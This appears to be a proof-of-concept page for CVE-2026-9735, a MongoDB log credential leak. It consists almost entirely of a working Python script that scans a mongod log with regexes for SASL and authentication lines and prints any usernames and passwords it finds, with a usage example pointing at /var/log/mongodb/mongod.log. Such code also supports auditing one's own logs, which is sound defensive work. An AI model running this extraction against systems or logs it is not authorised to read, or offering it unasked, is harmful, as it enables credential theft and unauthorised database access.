CVE-2026-9735 MongoDB服务器日志凭据泄露漏洞

#!/usr/bin/env python3 """ CVE-2026-9735 PoC - MongoDB Log Credential Extraction This PoC demonstrates how to extract credentials from MongoDB logs when connection health metric logging is enabled. """ import os import re import sys def extract_mongodb_logs(log_path): """ Extract potential credentials from MongoDB log files. Args: log_path: Path to MongoDB log file (usually mongod.log) Returns: List of extracted credentials """ credentials = [] sasl_pattern = r'SASL\s+(?:authentication|step)\s+.*?(user|username)[=:]\s*(\S+)' auth_pattern = r'authenticate\s+.*?(user|username|password)[=:]\s*(\S+)' try: with open(log_path, 'r', encoding='utf-8', errors='ignore') as f: for line in f: # Look for SASL authentication patterns sasl_matches = re.findall(sasl_pattern, line, re.IGNORECASE) for match in sasl_matches: credentials.append({ 'type': 'SASL_AUTH', 'user': match[1] if len(match) > 1 else match[0], 'log_line': line.strip() }) # Look for general authentication patterns auth_matches = re.findall(auth_pattern, line, re.IGNORECASE) for match in auth_matches: credentials.append({ 'type': 'AUTH_LOGIN', 'credential': match[1] if len(match) > 1 else match[0], 'log_line': line.strip() }) except PermissionError: print(f'[-] Permission denied: {log_path}') except FileNotFoundError: print(f'[-] Log file not found: {log_path}') return credentials def main(): if len(sys.argv) < 2: print('Usage: python3 cve_2026_9735_poc.py <mongodb_log_path>') print('Example: python3 cve_2026_9735_poc.py /var/log/mongodb/mongod.log') sys.exit(1) log_path = sys.argv[1] print(f'[*] Analyzing MongoDB log file: {log_path}') print(f'[*] Looking for exposed credentials (CVE-2026-9735)') creds = extract_mongodb_logs(log_path) if creds: print(f'[!] Found {len(creds)} potential exposed credentials:') for i, cred in enumerate(creds, 1): print(f'\n[{i}] Type: {cred["type"]}') print(f' User: {cred.get("user", cred.get("credential", "N/A"))}') print(f' Log: {cred["log_line"][:100]}...') else: print('[*] No obvious credentials found in log file') print('[*] Note: This does not mean the system is not vulnerable') if __name__ == '__main__': main()